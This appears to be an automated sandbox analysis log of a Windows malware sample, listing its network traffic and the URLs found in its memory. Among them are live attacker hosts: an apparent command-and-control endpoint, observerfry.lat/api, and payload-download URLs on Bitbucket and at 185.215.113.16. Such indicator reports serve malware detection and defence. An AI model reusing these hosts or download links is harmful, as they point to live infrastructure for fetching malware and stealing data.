Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2Bhk4qIuF1stlkaV1P1I4VAwkAT6SD25rxkqwpg1%2B%2F4MRwdg4s5Yekm3V%2B%2FZXp7phBnkzQCS4U164IdQSDDbNyKHQ%3D%3D&Expires=1735027446 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2Bhk4qIuF1stlkaV1P1I4VAwkAT6SD25rxkqwpg1%2B%2F4MRwdg4s5Yekm3V%2B%2FZXp7phBnkzQCS4U164IdQSDDbNyKHQ%3D%3D&Expires=1735027446 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeu
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.0000000000720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTru
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.0000000005399000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2636339807.0000000005AA9000.00000002.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.0000000000720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.0000000000720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.pr
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-
Source: yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/d
Source: yuij5p5p3W.exe, 00000000.00000002.2628488082.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.000000000070C000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2628488082.0000000000720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe
Source: yuij5p5p3W.exe, 00000000.00000002.2628407155.00000000003EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0
Source: yuij5p5p3W.exe, 00000000.00000002.2628488082.00000000006F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exeN
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=16964251364
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: yuij5p5p3W.exe, 00000000.00000003.2491775039.00000000053D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: yuij5p5p3W.exe, 00000000.00000003.2345096881.00000000053D0000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2345183321.00000000053D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/G
Source: yuij5p5p3W.exe, 00000000.00000003.2418886395.0000000000790000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000790000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2393441407.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370263535.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2396795606.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2392901987.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368535659.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368465999.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2394335672.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491980242.000000000078F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: yuij5p5p3W.exe, 00000000.00000003.2393441407.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370263535.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2396795606.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2392901987.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368535659.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368465999.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2394335672.00000000053E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiObGoF
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000790000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491980242.000000000078F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apisw
Source: yuij5p5p3W.exe, 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/m
Source: yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: yuij5p5p3W.exe, 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/t
Source: yuij5p5p3W.exe, 00000000.00000003.2418808757.0000000000770000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2419114901.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/tem
Source: yuij5p5p3W.exe, 00000000.00000003.2434922839.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491775039.00000000053D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/x
Source: yuij5p5p3W.exe, 00000000.00000003.2396889754.0000000000770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564406570.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2635458917.0000000005350000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-websiteX-Frame-OptionsSAMEORIGINX-
Source: yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: yuij5p5p3W.exe, 00000000.00000003.2564406570.000000000540C000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
